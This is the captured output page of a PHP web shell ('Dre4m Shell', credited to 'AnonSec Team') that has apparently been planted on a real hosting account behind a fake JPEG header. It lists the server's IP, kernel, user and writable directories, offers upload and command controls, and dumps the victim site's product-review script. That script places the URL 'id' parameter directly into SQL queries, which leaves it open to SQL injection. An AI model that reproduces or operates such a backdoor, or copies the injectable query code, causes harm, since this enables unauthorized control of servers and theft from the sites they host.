ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/evaluations.php
<?php
//****************************************************************************************//
//************************************* Configuration ************************************//
//****************************************************************************************//

// Chargement fichiers de configuration.
require('libs/Smarty.class.php');

// Démarrage du moteur TPL.
$smarty = new Smarty;

// Chargement des Fonctions Globals.
require('fonctions.php');

//****************************************************************************************//
//************************************ Avis **********************************************//
//****************************************************************************************//

$id_pro = $_GET["id"];


//Compte les  Avis sur produit
/*********************************/

$nb_total =0;
    $res = $GLOBALS['bdd']->query("SELECT count(id) AS nb_total FROM avis_product WHERE date_insere >'0000-00-00' AND id_parent = '0' AND status = '0'  AND id_product = $id_pro ");
    $columns = $res->fetch();
    $nb_total = $columns['nb_total'];     
   $smarty->assign("nb_total", $nb_total);

 


//prend les  Avis sur produit
/*********************************/

$sql = $GLOBALS['bdd']->query("SELECT * FROM avis_product WHERE date_insere >'0000-00-00' AND status = '0'     AND id_product = $id_pro ORDER BY date_insere DESC");

   $resultav = $sql->fetchAll();
   $smarty->assign("lesavis", $resultav);
 

$tt = '';
if (isset($_GET['tt'])) {   
 $tt = $_GET['tt'];
   $smarty->assign("tout", $tt);
}


//Moyenne des  Avis sur produit
/*********************************/

$solde_avis = 0;

$sql = $GLOBALS['bdd']->prepare("SELECT * FROM avis_product WHERE date_insere >'0000-00-00' AND status = '0'   AND id_parent = '0'  AND id_product = :id_product");
$sql->execute(array('id_product' => $id_pro));
$result = $sql->fetchAll();

for($i=0; $i<count($result); $i++) {
$solde_avis = $solde_avis + $result[$i]['etoiles'];
}
 
$moyenne_a = $solde_avis / $nb_total;
//$moyenne_avis = round($moyenne_a * 2) / 2;
//$moyenne_avis_arrondi = (round($moyenne_a, 1));

$moyenne_avis_arrondi = number_format($moyenne_a, 1, '.', '');


// image
if ($moyenne_avis_arrondi == '5,0') { $image_moyenne = "myenne_5_0.png"; }

if (($moyenne_avis_arrondi > '4.4') AND ($moyenne_avis_arrondi < '5.0')){ $image_moyenne = "myenne_4_5.png"; }
if (($moyenne_avis_arrondi > '4.0') AND ($moyenne_avis_arrondi < '4.5')){ $image_moyenne = "myenne_4_0.png"; }

if (($moyenne_avis_arrondi > '3.4') AND ($moyenne_avis_arrondi < '4.0')){ $image_moyenne = "myenne_3_5.png"; }
if (($moyenne_avis_arrondi > '3.0') AND ($moyenne_avis_arrondi < '3.5')){ $image_moyenne = "myenne_3_0.png"; }

if (($moyenne_avis_arrondi > '2.4') AND ($moyenne_avis_arrondi < '3.0')){ $image_moyenne = "myenne_2_5.png"; }
if (($moyenne_avis_arrondi > '2.0') AND ($moyenne_avis_arrondi < '2.5')){ $image_moyenne = "myenne_2_0.png"; }

if (($moyenne_avis_arrondi > '1.4') AND ($moyenne_avis_arrondi < '2.0')){ $image_moyenne = "myenne_1_5.png"; }
if (($moyenne_avis_arrondi > '1.0') AND ($moyenne_avis_arrondi < '1.5')){ $image_moyenne = "myenne_1_0.png"; }

if (($moyenne_avis_arrondi > '0.4') AND ($moyenne_avis_arrondi < '1.0')){ $image_moyenne = "myenne_0_5.png"; }
if (($moyenne_avis_arrondi > '0.0') AND ($moyenne_avis_arrondi < '0.5')){ $image_moyenne = "myenne_0_0.png"; }
if ($moyenne_avis_arrondi == '0') { $image_moyenne = "myenne_0_0.png"; }


 
   $smarty->assign("moyenne_avis_arrondi", $moyenne_avis_arrondi);
   $smarty->assign("image_moyenne", $image_moyenne);
   $smarty->assign("id_pro", $id_pro);

$sql = $GLOBALS['bdd']->prepare('SELECT name,seo FROM products 
	WHERE id = :id');

$sql->execute(array('id' => $id_pro));
$resultrr = $sql->fetchAll();
$product_name = $resultrr[0]['name'];
$product_seo = $resultrr[0]['seo'];
   $smarty->assign("product_name", $product_name);
   $smarty->assign("product_seo", $product_seo);












//*************************************** Affichage **************************************//
  $smarty->display('evaluations.tpl');

?>

Anon7 - 2022
AnonSec Team